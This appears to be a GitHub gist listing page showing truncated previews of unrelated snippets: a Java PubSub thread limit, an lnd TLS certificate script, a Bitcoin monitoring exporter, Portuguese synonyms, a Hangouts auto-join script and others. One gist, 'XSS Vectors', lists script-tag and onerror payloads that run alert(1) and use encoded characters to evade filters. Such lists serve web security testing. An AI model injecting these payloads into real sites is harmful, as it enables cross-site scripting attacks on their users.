Skip to content

Instantly share code, notes, and snippets.

View bvolpato's full-sized avatar
:shipit:
ship it

Bruno Volpato bvolpato

:shipit:
ship it
View GitHub Profile
@JoshuaFox
JoshuaFox / PubSubThreads.java
Last active October 27, 2020 01:19
Limiting the number of threads used by PubSub publisher
//Thanks to ajaaym https://github.com/googleapis/java-pubsub/issues/27#issuecomment-538508100
final ExecutorProvider fixedExecutorProvider = FixedExecutorProvider.create(
new ScheduledThreadPoolExecutor(1)); //adjust the size
Publisher publisher =
Publisher.newBuilder("topic_name")
.setExecutorProvider(fixedExecutorProvider)
.setChannelProvider(
PublisherStubSettings.defaultGrpcTransportProviderBuilder()
.setExecutorProvider(fixedExecutorProvider)
.setChannelConfigurator(
@QuantBits
QuantBits / script.js
Created February 8, 2019 17:55
BitMex USD Converter - For TemperMonkey
// ==UserScript==
// @name BitMex USD Converter
// @namespace https://bitmex.com/
// @version 0.11
// @description Get some sanity into your gambling.
// @author koinkraft
// @grant none
// @include https://bitmex.com/*
// @include https://www.bitmex.com/*
// @require https://code.jquery.com/jquery-2.1.4.min.js
@hoangong
hoangong / generate.sh
Last active March 10, 2019 06:20
generate lnd key with custom dns
# do this once for server private key:
openssl ecparam -genkey -name prime256v1 -out tls.key
# both server and all clients have to use the same cert file tls.cert
openssl req -new -sha256 \
-key tls.key \
-subj "/CN=localhost/O=lnd" \
-reqexts SAN \
-config <(cat /etc/ssl/openssl.cnf \
<(printf "\n[SAN]\nsubjectAltName=DNS:localhost,DNS:aaaa,DNS:bbbb,IP:192.168.1.xxx")) \
Corretora: BitCambio
CNPJ/Razão social: 19.004.882/0001-91 - Citar Tech EIRELI-ME
Contato: Aline Lopes - juridico@bitcambio.com.br
Situação:
| Banco| Situação | Liminar | Avisou sobre fechamento |
| --- |:-------------:| -------:|------------------------:|
| Santander| Aberta com liminar|Liminar concedida|Sim|
| Itaú|Fechada|Aguardado apreciação do juiz| Não |
| Bradesco |Recusa de contratar|N.A.|N.A.|
| Rendimento |Recusa de contratar|N.A.|N.A.|
@ageis
ageis / bitcoin-monitor.md
Last active June 5, 2024 01:36
Prometheus exporter for monitoring statistics of Bitcoin daemon

bitcoind-monitor.py

This is a script written in Python intended to run alongside a Bitcoin node and export statistics for monitoring purposes. It assumes the existence of bitcoin-cli in the PATH and access to the RPC interface over localhost.

It tracks stuff like: block height, difficulty, number of peers, network hash rate, errors, uptime in seconds, mempool size, size of recent blocks, number of transactions within blocks, chaintips, total bytes received and sent, and transaction inputs and outputs. These Bitcoin metrics are refreshed once every 5 minutes.

How it works

Prometheus is a monitoring system and time-series database.

@stavarengo
stavarengo / brazilian-synonyms.json
Last active April 21, 2021 11:28
List of portuguese words and their respective synonyms. More at https://github.com/stavarengo/portuguese-brazilian-synonyms
{
"synonyms": [
"abade,confessor,cura,pároco",
"abadejo,abadiva,badejo",
"abadia,convento,mosteiro",
"abaixa-língua,cataglosso,glossocátoco",
"abaixamento,baixa,diminuição,redução",
"afastamento,desaparecimento",
"aforia,esterilidade,infecundidade,infertilidade",
"agatanhadura,agatanhamento,arranhadura",
anonymous
anonymous / GAME_MASTER_v0_1.protobuf
Created July 16, 2016 16:31
Pokemon Go decoded GAME_MASTER protobuf file v0.1
Result: 1
Items {
TemplateId: "BADGE_BATTLE_ATTACK_WON"
Badge {
BadgeType: BADGE_BATTLE_ATTACK_WON
BadgeRanks: 4
Targets: "\nd\350\007"
}
}
Items {
@sz3n
sz3n / XSS Vectors
Created July 8, 2016 16:04
XSS Vectors
<script\x20type="text/javascript">javascript:alert(1);</script>
<script\x3Etype="text/javascript">javascript:alert(1);</script>
<script\x0Dtype="text/javascript">javascript:alert(1);</script>
<script\x09type="text/javascript">javascript:alert(1);</script>
<script\x0Ctype="text/javascript">javascript:alert(1);</script>
<script\x2Ftype="text/javascript">javascript:alert(1);</script>
<script\x0Atype="text/javascript">javascript:alert(1);</script>
'`"><\x3Cscript>javascript:alert(1)</script>
'`"><\x00script>javascript:alert(1)</script>
<img src=1 href=1 onerror="javascript:alert(1)"></img>
@bvolpato
bvolpato / cmd.sh
Created April 1, 2016 20:35
Open and Join Hangouts
# Open and Join Hangout automatically on Mac OS X + Google Chrome :)
# It's good to join standup every day automatically with Automator.
open "https://plus.google.com/hangouts/_/domain.com/user?authuser=<email_to_join_with>"
osascript -e "
tell application \"Google Chrome\"
execute front window's active tab javascript \"!function(){function e(e){var t=document.createElement('script');t.setAttribute('src','https://ajax.googleapis.com/ajax/libs/jquery/1.9.0/jquery.min.js'),t.addEventListener('load',function(){var t=document.createElement('script');t.textContent='('+e.toString()+')();',document.body.appendChild(t)},!1),document.body.appendChild(t)}function t(){function e(e,t){evt=document.createEvent('MouseEvents'),evt.initMouseEvent(t,!0,!0,document.defaultView,0,0,0,0,0,!1,!1,!1,!1,0,e),e.dispatchEvent(evt)}function n(t){e(t,'mouseover'),e(t,'mousedown'),e(t,'mouseup'),e(t,'mouseout')}var o=30;\$('div[role=button]').each(function(e,t){0>=o||\$(t).html().indexOf('Join')>=0&&(n(t),o=0)}),o-- >0&&setTimeout
@ddrummond
ddrummond / dl4jRNNStockTimeSeriesRegressionExample.txt
Last active June 27, 2022 22:29
DL4J Example of Time Series Regression with 2 Outputs:
/*
Problem Description:
Time series forecast for a single securities minor reversal points.
A "minor reversal point" is defined as either a period (day) with a high price greater than both the previous and next high prices, or a period with a low value lower than both the previous and next low prices.
This is a time series regression problem with 8 input features and 2 regression output dimensions
Input Features:
- period return r = (p2 - p1) / p1, descr: a linear return value, typically [-0.05,0.05]
- period volume, descr: standardized, z = (x - Mean) / SD
- High-Low spread, descr: standardized, z = (x - Mean) / SD